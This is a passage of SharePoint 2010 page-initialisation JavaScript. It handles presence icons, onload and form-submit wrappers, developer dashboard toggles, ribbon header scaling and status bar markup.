{
IMNControlObj.DoAccelerator();
}
}
}
function IMNImageOnClick(objEvent)
{ULSxSy:;
if (IMNControlObj)
{
IMNShowOOUIKyb(objEvent);
IMNControlObj.DoAccelerator();
}
}
function IMNGetOOUILocation(obj)
{ULSxSy:;
var objRet=new Object;
var objSpan=obj;
var objOOUI=obj;
var oouiX=0, oouiY=0, objDX=0;
var fRtl=document.dir=="rtl";
while (objSpan && objSpan.tagName !="SPAN" && objSpan.tagName !="TABLE")
{
if (objSpan.tagName=="TD" && objSpan.className.indexOf("ms-vb") >=0)
break;
objSpan=objSpan.parentNode;
}
if (objSpan)
{
var childNode=objSpan.tagName=="TABLE" ?
objSpan.rows(0).cells(0).firstChild :
objSpan.firstChild;
while (childNode !=null)
{
if (childNode.tagName=="IMG" && childNode.id)
{
objOOUI=childNode;
break;
}
if (childNode.tagName=="A" &&
childNode.childNodes.length > 0 &&
childNode.firstChild.tagName=="IMG" &&
childNode.firstChild.id)
{
objOOUI=childNode.firstChild;
break;
}
childNode=childNode.nextSibling;
}
}
obj=objOOUI;
oouiY=objOOUI.getBoundingClientRect().top - 5;
oouiX=objOOUI.getBoundingClientRect().left - 5;
try
{
var currentWindow=window;
while (currentWindow && currentWindow !=currentWindow.parent)
{
var iframe=currentWindow.frameElement;
var iframebcr=iframe ? iframe.getBoundingClientRect() : null;
var iframetop=iframebcr ? iframebcr.top : 0;
var iframeleft=iframebcr ? iframebcr.left : 0;
oouiY+=iframetop;
oouiX+=iframeleft;
currentWindow=currentWindow.parent;
}
} catch(e)
{
};
objRet.objSpan=objSpan;
objRet.objOOUI=objOOUI;
objRet.oouiX=oouiX;
objRet.oouiY=oouiY;
return objRet;
}
function IMNShowOOUIMouse(objEvent)
{ULSxSy:;
IMNShowOOUI(objEvent, 0);
}
function IMNShowOOUIKyb(objEvent)
{ULSxSy:;
IMNShowOOUI(objEvent, 1);
}
function IMNShowOOUI(objEvent, inputType)
{ULSxSy:;
if ((browseris.ie5up) || IsSupportedMacBrowser())
{
var currEvent=GetCurrentEvent(objEvent);
var obj=GetEventTarget(currEvent);
var objSpan=obj;
var objOOUI=obj;
var oouiX=0, oouiY=0;
if (EnsureIMNControl() && IMNNameDictionaryObj)
{
var objRet=IMNGetOOUILocation(obj);
objSpan=objRet.objSpan;
objOOUI=objRet.objOOUI;
oouiX=objRet.oouiX;
oouiY=objRet.oouiY;
var name=IMNNameDictionaryObj[objOOUI.id];
if (objSpan)
objSpan.onkeydown=IMNHandleAccelerator;
IMNControlObj.ShowOOUI(name, inputType, oouiX, oouiY);
}
}
}
function IMNHideOOUI()
{ULSxSy:;
if (IMNControlObj)
{
IMNControlObj.HideOOUI();
return false;
}
return true;
}
function IMNScroll()
{ULSxSy:;
if (!bIMNInScrollFunc)
{
bIMNInScrollFunc=true;
IMNHideOOUI();
}
bIMNInScrollFunc=false;
if(IMNOrigScrollFunc==IMNScroll)
return true;
return IMNOrigScrollFunc ? IMNOrigScrollFunc() : true;
}
var imnCount=0;
var imnElems;
var imnElemsCount=0;
var imnMarkerBatchSize=4;
var imnMarkerBatchDelay=40;
function ProcessImn()
{ULSxSy:;
imnCount=0;
imnElems=document.getElementsByName("imnmark");
imnElemsCount=imnElems.length;
if (EnsureIMNControl() && IMNControlObj.PresenceEnabled)
{
ProcessImnMarkers();
}
else
{
RemoveImnAnchors();
}
}
function RemoveImnAnchors()
{ULSxSy:;
for (var i=0; i < imnElemsCount; i++)
{
var imnImg=imnElems[i];
var imnAnchor=imnImg.parentNode;
var beforeElem=imnAnchor.nextSibling;
var parentElem=imnAnchor.parentNode;
if ((imnAnchor !=null) && (imnAnchor.tagName=="A") && (imnAnchor.childNodes.length==1) && (parentElem !=null))
{
if (beforeElem !=null)
parentElem.insertBefore(imnImg, beforeElem);
else
parentElem.appendChild(imnImg);
parentElem.removeChild(imnAnchor);
}
}
}
function ProcessImnMarkers()
{ULSxSy:;
for (var i=0; i < imnMarkerBatchSize;++i)
{
if (imnCount==imnElemsCount)
return;
if (IsSupportedMacBrowser())
IMNRC(imnElems[imnCount].getAttribute("sip"),imnElems[imnCount]);
else
IMNRC(imnElems[imnCount].sip,imnElems[imnCount]);
imnCount++;
}
setTimeout("ProcessImnMarkers()",imnMarkerBatchDelay);
}
function IMNRC(name, elem)
{ULSxSy:;
if (name==null || name=='')
return;
if (typeof(g_presenceEnabled)=="undefined" || !g_presenceEnabled)
return;
if ((browseris.ie5up) || IsSupportedMacBrowser())
{
var obj=(elem) ? elem : window.event.srcElement;
var objSpan=obj;
var id=obj.id;
if (!IMNDictionaryObj)
{
IMNDictionaryObj=new Object();
IMNNameDictionaryObj=new Object();
IMNSortableObj=new Object();
IMNShowOfflineObj=new Object();
if (!IMNOrigScrollFunc)
{
IMNOrigScrollFunc=window.onscroll;
window.onscroll=IMNScroll;
}
}
if (IMNDictionaryObj)
{
if (!IMNNameDictionaryObj[id])
{
IMNNameDictionaryObj[id]=name;
}
if (typeof(IMNDictionaryObj[id])=="undefined")
{
IMNDictionaryObj[id]=1;
}
if (!IMNSortableObj[id] &&
(typeof(obj.Sortable) !="undefined"))
{
IMNSortableObj[id]=obj.Sortable;
if (!bIMNOnloadAttached)
{
if (EnsureIMNControl() && IMNControlObj.PresenceEnabled)
AttachEvent("load", IMNSortTable, window);
bIMNOnloadAttached=true;
}
}
if (!IMNShowOfflineObj[id] &&
(typeof(obj.ShowOfflinePawn) !="undefined"))
{
IMNShowOfflineObj[id]=obj.ShowOfflinePawn;
}
if (EnsureIMNControl() && IMNControlObj.PresenceEnabled)
{
var state=1, img;
state=IMNControlObj.GetStatus(name, id);
if (IMNIsOnlineState(state) || IMNSortableObj[id] ||
IMNShowOfflineObj[id])
{
img=IMNGetStatusImage(state, IMNSortableObj[id] ||
IMNShowOfflineObj[id]);
IMNUpdateImage(id, img);
IMNDictionaryObj[id]=state;
}
}
}
var objRet=IMNGetOOUILocation(obj);
SetImnOnClickHandler(objRet.objOOUI);
objSpan=objRet.objSpan;
if (objSpan)
{
objSpan.onmouseover=IMNShowOOUIMouse;
objSpan.onfocusin=IMNShowOOUIKyb;
objSpan.onmouseout=IMNHideOOUI;
objSpan.onfocusout=IMNHideOOUI;
}
}
}
function SetImnOnClickHandler(imgNode)
{ULSxSy:;
var parent=imgNode.parentNode;
if (parent.tagName=="A")
{
if (typeof(parent.onclick)=="undefined")
{
parent.onclick=IMNImageOnClickHandler;
}
}
else
{
var anchor=document.createElement("a");
anchor.onclick=IMNImageOnClickHandler;
anchor.className="ms-imnlink";
anchor.href="javascript:;";
parent.insertBefore(anchor, imgNode);
anchor.appendChild(imgNode);
}
}
function IMNImageOnClickHandler(objEvent)
{ULSxSy:;
IMNImageOnClick(objEvent);
return false;
}
function IMNSortTable()
{ULSxSy:;
var id;
for (id in IMNDictionaryObj)
{
IMNSortList(id, 1, IMNDictionaryObj[id]);
}
bIMNSorted=true;
}
function IMNRegisterHeader(objEvent)
{ULSxSy:;
if ((browseris.ie5up) || IsSupportedMacBrowser())
{
var currEvent=GetCurrentEvent(objEvent);
var obj=GetEventTarget(currEvent);
if (!IMNHeaderObj)
{
IMNHeaderObj=new Object();
}
if (IMNHeaderObj)
{
var id=obj.id;
IMNHeaderObj[id]=id;
var img;
img=IMNGetHeaderImage();
IMNUpdateImage(id, img);
}
}
}
var _spBodyOnLoadFunctionNames;
var _spBodyOnLoadCalled=false;
if (_spBodyOnLoadFunctionNames==null)
{
_spBodyOnLoadFunctionNames=new Array();
_spBodyOnLoadFunctionNames.push("_spBodyOnLoad");
_spBodyOnLoadFunctionNames.push("_spRestoreScrollForDiv_rscr");
}
var _spOriginalFormAction;
var _spEscapedFormAction;
var _spFormOnSubmitCalled=false;
var _spBodyOnPageShowRegistered=false;
function _spBodyOnPageShow(evt)
{ULSxSy:;
_spFormOnSubmitCalled=false;
}
function _spResetFormOnSubmitCalledFlag( sender, e)
{ULSxSy:;
_spFormOnSubmitCalled=false;
}
function _ribbonReadyForInit()
{ULSxSy:;
return _spBodyOnLoadCalled;
}
var _spBodyOnLoadCalled=false;
function _spBodyOnLoadWrapper()
{ULSxSy:;
_spBodyOnLoadCalled=true;
if (!_spBodyOnPageShowRegistered &&
typeof(browseris) !="undefined" &&
!browseris.ie &&
typeof(window.addEventListener)=='function')
{
window.addEventListener('pageshow', _spBodyOnPageShow, false);
_spBodyOnPageShowRegistered=true;
}
if (typeof(Sys) !="undefined" &&
typeof(Sys.WebForms) !="undefined" &&
typeof(Sys.WebForms.PageRequestManager) !="undefined")
{
var pageRequestMgr=Sys.WebForms.PageRequestManager.getInstance();
if (!_spPageLoadedRegistered && pageRequestMgr !=null)
{
pageRequestMgr.add_pageLoaded(_spPageLoaded);
_spPageLoadedRegistered=true;
}
}
if (!_spPageLoadedRegistered)
{
_spPageLoaded();
}
_spFormOnSubmitCalled=false;
if (typeof(Sys) !="undefined" &&
typeof(Sys.Net) !="undefined" &&
typeof(Sys.Net.WebRequestManager) !="undefined")
{
Sys.Net.WebRequestManager.add_invokingRequest(_spResetFormOnSubmitCalledFlag);
}
if (typeof(NotifyBodyLoadedAndExecuteWaitingJobs) !="undefined")
{
NotifyBodyLoadedAndExecuteWaitingJobs();
}
ExecuteOrDelayUntilScriptLoaded(ProcessDefaultOnLoad, "core.js");
if (typeof(g_prefetch)=="undefined" || g_prefetch==1)
{
var prefetch=_spGetQueryParam("prefetch");
if (prefetch!=0)
_spPreFetch();
}
}
function _spPreFetch()
{ULSxSy:;
window.setTimeout(function()
{ULSxSy:;
if (_v_dictSod)
{
var sodCore=_v_dictSod["core.js"];
if (typeof(sodCore) !="undefined" && sodCore)
{
LoadSod(sodCore);
}
if (typeof(ribbon)=="undefined")
{
var sod=_v_dictSod["ribbon"];
if (typeof(sod) !="undefined" && sod)
{
LoadSod(sod);
}
}
}
},
0);
if(typeof(_ribbon) !="undefined" && _ribbon)
{
window.setTimeout(function()
{ULSxSy:;
if (document.images && IsFullNameDefined('_spPageContextInfo.currentLanguage'))
{
imgRibbon32x32=new Image();
imgRibbon32x32.src="images/formatmap32x32.png";
imgRibbon16x16=new Image();
imgRibbon16x16.src="images/formatmap16x16.png";
}
},
0);
}
}
function _spGetQueryParam(p)
{ULSxSy:;
var q=window.location.search.substring(1);
if(q && q.length > 2)
{
var params=q.split("&");
var l=params.length;
for (var i=0;i<l;i++)
{
var pair=params[i].split("=");
if (pair[0].toLowerCase()==p)
return pair[1];
}
}
}
var _spSuppressFormOnSubmitWrapper=false;
function _spFormOnSubmitWrapper()
{ULSxSy:;
if (_spSuppressFormOnSubmitWrapper)
{
return true;
}
if (_spFormOnSubmitCalled)
{
return false;
}
if (typeof(_spFormOnSubmit)=="function")
{
var retval=_spFormOnSubmit();
var testval=false;
if (typeof(retval)==typeof(testval) && retval==testval)
{
return false;
}
}
_spFormOnSubmitCalled=true;
return true;
}
var _inlineEditString=null;
var _spPageLoadedRegistered=false;
function _spPageLoaded()
{ULSxSy:;
_spOriginalFormAction=null;
EscapeFormAction();
RefreshInplViewState();
RefreshHeroButtonState();
InlineEditSetDefaultFocus();
}
function InlineEditSetDefaultFocus()
{ULSxSy:;
if (_inlineEditString !=null)
{
var index=_inlineEditString.indexOf("#");
if (index <=0)
return;
var iidVal=_inlineEditString.substring(0, index);
var trs=document.getElementsByTagName("TR");
for (var i=0; i < trs.length; i++)
{
if(trs[i].getAttribute("automode")==iidVal)
{
var nodeWalkStr=_inlineEditString.substring(index+1);
var nodeWalks=nodeWalkStr.split(",");
var node=trs[i];
for(var j=0; j<nodeWalks.length; j++)
{
if (node==null)
break;
node=node.firstChild;
for(var k=0; k<nodeWalks[j]; k++)
{
if (node==null)
break;
node=node.nextSibling;
}
}
if (node !=null)
focusControl(node);
break;
}
}
_inlineEditString=null;
}
}
function focusControl(targetControl)
{ULSxSy:;
if (Sys.Browser.agent===Sys.Browser.InternetExplorer)
{
var focusTarget=targetControl;
if (focusTarget && (typeof(focusTarget.contentEditable) !=="undefined"))
{
oldContentEditableSetting=focusTarget.contentEditable;
focusTarget.contentEditable=false;
}
else
{
focusTarget=null;
}
try
{
targetControl.focus();
}
catch(e) {}
if (focusTarget)
{
focusTarget.contentEditable=oldContentEditableSetting;
}
}
else
{
targetControl.focus();
}
}
function EscapeFormAction()
{ULSxSy:;
if (document.forms.length > 0 && !_spOriginalFormAction)
{
_spOriginalFormAction=document.forms[0].action;
var url=window.location.href;
var index=url.indexOf("://");
if (index >=0)
{
var temp=url.substring(index+3);
index=temp.indexOf("/");
if (index >=0)
url=temp.substring(index);
if (url.length > 2 && url.charAt(0)=='/' && url.charAt(1)=='/')
{
url=url.substring(1);
}
}
_spEscapedFormAction=escapeUrlForCallback(url);
document.forms[0].action=_spEscapedFormAction;
document.forms[0]._initialAction=document.forms[0].action;
}
}
function RefreshHeroButtonState()
{ULSxSy:;
if (typeof(_spWebPartComponents) !="undefined")
{
for (var wp in _spWebPartComponents)
{
if (wp.length > 7)
{
var strId=wp.substr(7);
var heroButton=window["heroButtonWebPart"+strId];
if (typeof(heroButton) !="undefined" && heroButton !=null && heroButton==true)
{
var ele=document.getElementById("Hero-"+strId);
if (ele !=null)
ele.style.display="";
}
}
}
}
}
function RefreshInplViewState()
{ULSxSy:;
if (typeof(ctx) !="undefined" && ctx.clvp !=null && (ctx.clvp.tab==null ||
(ctx.clvp.tab !=null && (ctx.clvp.tab.parentNode==null ||
ctx.clvp.tab.parentNode.innerHTML==null))))
{
FixDroppedOrPastedClvps(null);
if (ctx.dictSel !=null)
{
ctx.dictSel=[];
ctx.CurrentSelectedItems=0;
}
}
}
function RestoreToOriginalFormAction()
{ULSxSy:;
if (_spOriginalFormAction !=null)
{
if (_spEscapedFormAction==document.forms[0].action)
{
document.forms[0].action=_spOriginalFormAction;
document.forms[0]._initialAction=document.forms[0].action;
}
_spOriginalFormAction=null;
_spEscapedFormAction=null;
}
}
function DefaultFocus()
{ULSxSy:;
if (typeof(_spUseDefaultFocus)!="undefined")
{
var elements=document.getElementsByName("_spFocusHere");
var elem=null;
if (elements==null || elements.length <=0)
{
elem=document.getElementById("_spFocusHere");
}
else if (elements !=null && elements.length > 0)
{
elem=elements[0];
}
if (elem !=null)
{
var aLinks=elem.getElementsByTagName("a");
if (aLinks !=null && aLinks.length > 0)
{
for (var i=0; i < aLinks.length; i++)
{
if (aLinks[i].style.visibility !="hidden")
{
try{aLinks[i].focus();}catch(e){}
break;
}
}
}
}
}
}
function ProcessDefaultOnLoad()
{ULSxSy:;
ProcessPNGImages();
UpdateAccessibilityUI();
window.setTimeout('ProcessImn()', 10);
ProcessOnLoadFunctions(_spBodyOnLoadFunctionNames);
if (typeof(_spUseDefaultFocus)!="undefined")
DefaultFocus();
}
function ProcessOnLoadFunctions(onLoadFunctionNames)
{ULSxSy:;
for (var i=0; i < onLoadFunctionNames.length; i++)
{
var expr="if(typeof("+onLoadFunctionNames[i]+")=='function'){"+onLoadFunctionNames[i]+"();}";
eval(expr);
}
onLoadFunctionNames=[];
}
function CoreInvoke(fn) {ULSxSy:;
var args=Array.prototype.slice.call(arguments, 1);
var _corefn=function ()
{ULSxSy:;
window[fn].apply(null, args);
};
if (TypeofFullName(fn)=='function')
return window[fn].apply(null, args);
else
{
EnsureScript("core.js", 'undefined', _corefn);
return false;
}
}
function ToggleDeveloperDashboard()
{ULSxSy:;
if (GetCookie('WSS_DeveloperDashboard')=="true")
{
document.cookie='WSS_DeveloperDashboard=false';
window.location.reload(true);
}
else
{
document.cookie='WSS_DeveloperDashboard=true';
window.location.reload(true);
}
}
function ToggleTrace()
{ULSxSy:;
if (GetCookie('WSS_DeveloperDashboardTrace')=="true")
{
document.cookie='WSS_DeveloperDashboardTrace=false';
window.location.reload(true);
}
else
{
document.cookie='WSS_DeveloperDashboardTrace=true';
window.location.reload(true);
}
}
function DevDashMoveTrace()
{ULSxSy:;
var traceDiv=document.getElementById("__asptrace");
var devDashDiv=document.getElementById("DeveloperDashboard");
if(typeof(devDashDiv) !='undefined' && devDashDiv)
{
if (typeof(traceDiv) !='undefined'&& traceDiv)
{
var traceParent=traceDiv.parentNode;
if (typeof(traceParent) !='undefined'&& traceParent)
{
traceParent.removeChild(traceDiv);
devDashDiv.appendChild(traceDiv);
}
}
}
}
function SetSqlWindowText(textTitle, text, stackTitle, stack, ioTitle, io)
{ULSxSy:;
var sqlWindow=document.sqlWindow;
if (!sqlWindow || sqlWindow.closed)
{
sqlWindow=window.open('', '', 'width=800,height=770,status=yes,location=no,scrollbar=yes,resize=yes');
document.sqlWindow=sqlWindow;
}
var sqlDocument=sqlWindow.document;
var sqlText=sqlDocument.getElementById("sqlText");
var sqlStack=sqlDocument.getElementById("sqlStack");
if (typeof(sqlText)=='undefined' || !sqlText)
{
sqlDocument.open();
sqlDocument.write('<html><head><link rel="stylesheet" type="text/css" href="/_layouts/1033/styles/layouts.css"/></head><body><div class="ms-developerdashboard"><table width="100%"><tr><td style="font-weight:bold">');
sqlDocument.write(textTitle);
sqlDocument.write('</td></tr><tr><td><textarea id="sqlText" rows="18" cols="94"></textarea></td></tr>');
if (typeof(stack) !='undefined' && stack)
{
sqlDocument.write('<tr><td style="font-weight:bold">');
sqlDocument.write(stackTitle);
sqlDocument.write('</td></tr><tr><td><textarea id="sqlStack" rows="14" cols="94"></textarea></td></tr>');
}
if (typeof(io) !='undefined' && io)
{
sqlDocument.write('<tr><td style="font-weight:bold">');
sqlDocument.write(ioTitle);
sqlDocument.write('</td></tr><tr><td><textarea id="sqlIO" rows="8" cols="94"></textarea></td></tr>');
}
sqlDocument.write('</table></div></body></html>');
sqlDocument.close();
sqlText=sqlDocument.getElementById("sqlText");
sqlStack=sqlDocument.getElementById("sqlStack");
sqlIO=sqlDocument.getElementById("sqlIO");
}
sqlText.value=text;
if (typeof(sqlStack) !='undefined' && sqlStack)
sqlStack.value=stack;
if (typeof(sqlIO) !='undefined' && sqlIO)
sqlIO.value=io;
sqlWindow.focus();
}
var flyoutsAllowed=false;
function enableFlyoutsAfterDelay()
{ULSxSy:;
setTimeout("flyoutsAllowed=true;", 25);
}
function overrideMenu_HoverStatic(item)
{ULSxSy:;
if (!flyoutsAllowed)
{
setTimeout(delayMenu_HoverStatic(item), 50);
}
else
{
var node=Menu_HoverRoot(item);
var data=Menu_GetData(item);
if (!data) return;
__disappearAfter=data.disappearAfter;
Menu_Expand(node, data.horizontalOffset, data.verticalOffset);
}
}
function delayMenu_HoverStatic(item)
{ULSxSy:;
return (function()
{ULSxSy:;
overrideMenu_HoverStatic(item);
});
}
var g_ExecuteOrWaitJobs=new Object();
function ExecuteOrDelayUntilEventNotified(func, eventName)
{ULSxSy:;
var executed=false;
var eventInfo=g_ExecuteOrWaitJobs[eventName];
if (eventInfo==null || typeof(eventInfo)=="undefined")
{
eventInfo=new Object();
eventInfo.notified=false;
eventInfo.jobs=new Array();
eventInfo.jobs.push(func);
g_ExecuteOrWaitJobs[eventName]=eventInfo;
}
else
{
if (eventInfo.notified)
{
func();
executed=true;
}
else
{
eventInfo.jobs.push(func);
}
}
return executed;
}
function NotifyEventAndExecuteWaitingJobs(eventName)
{ULSxSy:;
if(!g_ExecuteOrWaitJobs)
return;
var eventInfo=g_ExecuteOrWaitJobs[eventName];
if (eventInfo==null || typeof(eventInfo)=="undefined")
{
eventInfo=new Object();
eventInfo.notified=true;
eventInfo.jobs=new Array();
g_ExecuteOrWaitJobs[eventName]=eventInfo;
}
else
{
if (eventInfo.jobs !=null)
{
for (var i=0; i < eventInfo.jobs.length; i++)
{
var func=eventInfo.jobs[i];
func();
}
}
eventInfo.notified=true;
eventInfo.jobs=new Array();
}
}
function ExecuteOrDelayUntilScriptLoaded(func, depScriptFileName)
{ULSxSy:;
depScriptFileName=depScriptFileName.toLowerCase();
var eventName="sp.scriptloaded-"+depScriptFileName;
return ExecuteOrDelayUntilEventNotified(func, eventName);
}
function NotifyScriptLoadedAndExecuteWaitingJobs(scriptFileName)
{ULSxSy:;
scriptFileName=scriptFileName.toLowerCase();
var eventName="sp.scriptloaded-"+scriptFileName;
NotifyEventAndExecuteWaitingJobs(eventName);
}
function ExecuteOrDelayUntilBodyLoaded(func)
{ULSxSy:;
var eventName="sp.bodyloaded";
return ExecuteOrDelayUntilEventNotified(func, eventName);
}
function NotifyBodyLoadedAndExecuteWaitingJobs()
{ULSxSy:;
var eventName="sp.bodyloaded";
NotifyEventAndExecuteWaitingJobs(eventName);
}
function FFClick(elm) {ULSxSy:;
var evt=document.createEvent("MouseEvents");
evt.initMouseEvent("click", true, true, window,
0, 0, 0, 0, 0, false, false, false, false, 0, null);
elm.dispatchEvent(evt);
}
var L_ErrorMessage_InitializeError="Could not download the Silverlight application.";
var L_ErrorMessage_PluginNotLoadedError="Could not download the Silverlight application or the Silverlight Plugin did not load.";
function _spOnSilverlightError(webPartId, sender, args)
{ULSxSy:;
if (args.errorType=="InitializeError")
{
_spSetSLErrorMessage(webPartId, L_ErrorMessage_InitializeError);
}
}
function _spSetSLPluginNotLoadedErrorMessage(webPartId)
{ULSxSy:;
_spSetSLErrorMessage(webPartId, L_ErrorMessage_PluginNotLoadedError);
}
function _spSetSLErrorMessage(webPartId, strErrorMessage)
{ULSxSy:;
var strSilverlightErrorDivId="SilverlightRuntimeErrorMessage_"+webPartId;
var strDefaultConfigurationMessageDivId="WebPartDefaultConfigurationMessage_"+webPartId;
var strSilverlightObjectDivId="SilverlightObjectDiv_"+webPartId;
document.getElementById(strSilverlightObjectDivId).style.display="none";
document.getElementById(strSilverlightErrorDivId).style.display="block";
document.getElementById(strSilverlightErrorDivId).innerHTML=strErrorMessage;
document.getElementById(strDefaultConfigurationMessageDivId).style.display="block";
}
var cuiKeyHash={};
cuiKeyHash[219]=91;
cuiKeyHash[221]=93;
cuiKeyHash[51]=35;
cuiKeyHash[186]=59;
cuiKeyHash[187]=61;
cuiKeyHash[188]=44;
cuiKeyHash[189]=45;
cuiKeyHash[190]=46;
cuiKeyHash[191]=47;
cuiKeyHash[222]=39;
function _processKeyCodes(val)
{ULSxSy:;
if(cuiKeyHash[val])
return cuiKeyHash[val];
return val;
}
var g_fhs;
function _ribbonScaleHeader(elmTopBars, isRtl)
{ULSxSy:;
var elmTopBar2=elmTopBars.childNodes[1];
var len=elmTopBar2.childNodes.length;
var elmTabHeaders=null;
var elmTabRowRight=null;
if (typeof(isRtl)=='undefined')
isRtl=false;
if (typeof(g_fhs)=='undefined')
{
if (typeof(_ribbonShouldFixRtlHeaders)=='function')
g_fhs=_ribbonShouldFixRtlHeaders(isRtl);
else
g_fhs=false;
}
for (var i=0; i < len; i++)
{
var child=elmTopBar2.childNodes[i];
if (child.className.indexOf('ms-cui-tts') !=-1)
elmTabHeaders=child;
else if (child.className.indexOf('ms-cui-TabRowRight') !=-1)
elmTabRowRight=child;
}
if (elmTabHeaders && 'undefined'==typeof(elmTabHeaders._widthAdded) && g_fhs)
_ribbonFixHeaderWidth(elmTabHeaders);
if (!elmTabHeaders || !elmTabRowRight)
return;
elmTabRowRight.style.display='block';
var needsScaling=_ribbonNeedsHeaderScaling(elmTopBar2, elmTabHeaders, elmTabRowRight, isRtl);
if (needsScaling)
{
_ribbonHeaderScaleDown(elmTabHeaders);
if (_ribbonNeedsHeaderScaling(elmTopBar2, elmTabHeaders, elmTabRowRight, isRtl))
{
_ribbonHeaderScaleDown(elmTabHeaders);
}
}
else
{
if (_ribbonGetScaleStep(elmTabHeaders)==0)
return;
_ribbonHeaderScaleUp(elmTabHeaders);
if (_ribbonNeedsHeaderScaling(elmTopBar2, elmTabHeaders, elmTabRowRight, isRtl))
{
_ribbonHeaderScaleDown(elmTabHeaders);
return;
}
if (_ribbonGetScaleStep(elmTabHeaders)==0)
return;
_ribbonHeaderScaleUp(elmTabHeaders);
if (_ribbonNeedsHeaderScaling(elmTopBar2, elmTabHeaders, elmTabRowRight, isRtl))
_ribbonHeaderScaleDown(elmTabHeaders);
}
if (_ribbonNeedsHeaderScaling(elmTopBar2, elmTabHeaders, elmTabRowRight, isRtl))
{
elmTabRowRight.style.display='none';
}
}
function _ribbonNeedsHeaderScaling(elmTopBar2, elmTabHeaders, elmTabRowRight, isRtl)
{ULSxSy:;
if (elmTabHeaders.offsetWidth > 0 &&
elmTabRowRight.offsetWidth > 0 &&
_ribbonElementsWrap(elmTabHeaders, elmTabRowRight, isRtl))
{
return true;
}
if (!g_fhs && _ribbonChildNodesWrapped(elmTabRowRight, isRtl))
return true;
if (_ribbonChildNodesWrapped(elmTopBar2, isRtl))
return true;
return _ribbonChildNodesWrapped(elmTabHeaders, isRtl);
}
function _ribbonChildNodesWrapped(elmParent, isRtl)
{ULSxSy:;
if (elmParent.offsetWidth==0)
return false;
var elms=new Array();
var length=elmParent.childNodes.length;
for (var i=0; i < length; i++)
{
var elmChild=elmParent.childNodes[i];
if (elmChild &&
elmChild.nodeName !='#text' &&
elmChild.offsetWidth > 0 &&
elmChild.offsetHeight > 0)
{
elms.push(elmChild);
}
}
length=elms.length;
for (var i=0; i < length; i++)
{
var elmChild=elms[i];
var elmSibling=elms[i+1];
if (typeof(elmSibling) !='undefined' && elmSibling &&
_ribbonElementsWrap(elmChild, elmSibling, isRtl))
{
return true;
}
}
return false;
}
function _ribbonElementsWrap(elmLeft, elmRight, isRtl)
{ULSxSy:;
if (!isRtl && (elmLeft.offsetLeft+elmLeft.offsetWidth > elmRight.offsetLeft))
return true;
else if (isRtl && (elmRight.offsetLeft+elmRight.offsetWidth > elmLeft.offsetLeft))
return true;
return false;
}
function _ribbonGetScaleStep(elm)
{ULSxSy:;
if ('undefined'==typeof(elm._scaleStep))
{
elm._scaleStep=0;
if (elm.className.indexOf('ms-cui-tts-scale1') !=-1)
elm._scaleStep=1;
else if (elm.className.indexOf('ms-cui-tts-scale2') !=-1)
elm._scaleStep=2;
}
return elm._scaleStep;
}
function _ribbonSetScaleStep(elm, value)
{ULSxSy:;
elm._scaleStep=value;
}
function _ribbonHeaderScaleDown(elmTabHeaders)
{ULSxSy:;
var scaleStep=_ribbonGetScaleStep(elmTabHeaders);
if (scaleStep==0)
{
_ribbonHeaderScaleIndex(elmTabHeaders, 1);
}
else if (scaleStep==1 || scaleStep==2)
{
_ribbonHeaderScaleIndex(elmTabHeaders, 2);
}
}
function _ribbonHeaderScaleUp(elmTabHeaders)
{ULSxSy:;
var scaleStep=_ribbonGetScaleStep(elmTabHeaders);
if (scaleStep==1)
_ribbonHeaderScaleIndex(elmTabHeaders, 0);
else if (scaleStep==2)
{
_ribbonHeaderScaleIndex(elmTabHeaders, 1);
}
}
var g_ribbonHeaderScaleClass=['ms-cui-tts', 'ms-cui-tts-scale-1', 'ms-cui-tts-scale-2'];
function _ribbonHeaderScaleIndex(elmTabHeaders, index)
{ULSxSy:;
elmTabHeaders.className=g_ribbonHeaderScaleClass[index];
_ribbonSetScaleStep(elmTabHeaders, index);
_ribbonFixHeaderWidth(elmTabHeaders);
}
function _ribbonFixHeaderWidth(elmTabHeaders)
{ULSxSy:;
if (!g_fhs)
return;
var width=_ribbonCalculateWidth(elmTabHeaders);
elmTabHeaders.style.width=width+'px';
elmTabHeaders._widthAdded=true;
}
function _ribbonCalculateWidth(elmTabHeaders)
{ULSxSy:;
var width=0;
var tabs=elmTabHeaders.childNodes;
var length=tabs.length;
for (var i=0; i < length; i++)
{
var elm=tabs[i];
if (elm &&
elm.nodeName=='LI' &&
elm.offsetWidth > 0)
{
var ctxlGroup=elm.childNodes[1];
if (ctxlGroup && ctxlGroup.nodeName=='UL')
{
var groupWidth=_ribbonCalculateWidth(ctxlGroup);
ctxlGroup.style.width=groupWidth+'px';
width=width+groupWidth+4;
}
else
{
width=width+elm.offsetWidth+2;
}
}
}
return width;
}
function _ribbonOnStartInit(ribbonInfo)
{ULSxSy:;
OnRibbonMinimizedChanged(ribbonInfo.initialTabId=="Ribbon.Read");
var _elmRibbon=document.getElementById("Ribbon");
if(!_elmRibbon || (ribbonInfo && ribbonInfo.buildMinimized))
return;
var _elmTabCont=document.createElement("div");
_elmTabCont.className="ms-cui-tabContainer";
var _elmBlankTab=document.createElement("ul");
_elmBlankTab.id="Ribbon.BlankTab";
_elmBlankTab.className="ms-cui-tabBody";
_elmBlankTab.innerHTML="<span class=\"ms-ribbontabswitchloading\"><img src=\"/_layouts/images/loadingcirclests16.gif\" alt=\"\"/><span>"+L_Loading_Text+"</span></span>";
_elmTabCont.appendChild(_elmBlankTab);
_elmRibbon.appendChild(_elmTabCont);
}
var L_Status_Text=" Status";
var L_StatusBarRed_Text="Very Important";
var L_StatusBarYellow_Text="Important";
var L_StatusBarGreen_Text="Success";
var L_StatusBarBlue_Text="Information";
var StatusIdWithTopPriority=null;
var StatusColorWithTopPriority=null;
var StatusPriority={
red :4,
yellow :3,
green :2,
blue :1
};
var StatusBarClassNames={
4 :"s4-status-s4",
3 :"s4-status-s3",
2 :"s4-status-s2",
1 :"s4-status-s1"
};
var StatusTitle={
4 :L_StatusBarRed_Text,
3 :L_StatusBarYellow_Text,
2 :L_StatusBarGreen_Text,
1 :L_StatusBarBlue_Text
};
var g_uniqueIndex=0;
function getUniqueIndex()
{ULSxSy:;
g_uniqueIndex++;
return g_uniqueIndex;
}
function addStatus(strTitle, strHtml, atBegining)
{ULSxSy:;
var sb=document.getElementById("pageStatusBar");
if (sb !=null)
{
sb.setAttribute("aria-live", "polite");
sb.setAttribute("aria-relevant", "all");
var st=_createStatusMarkup(strTitle, strHtml, true);
if (!atBegining)
sb.appendChild(st);
else
{
var refs=sb.getElementsByTagName("SPAN");
var ref=refs.length > 0 ? refs[0] : null;
if (ref !=null)
sb.insertBefore(st, ref);
else
sb.appendChild(st);
}
if (sb.childNodes.length==1)
{
StatusIdWithTopPriority=st.id;
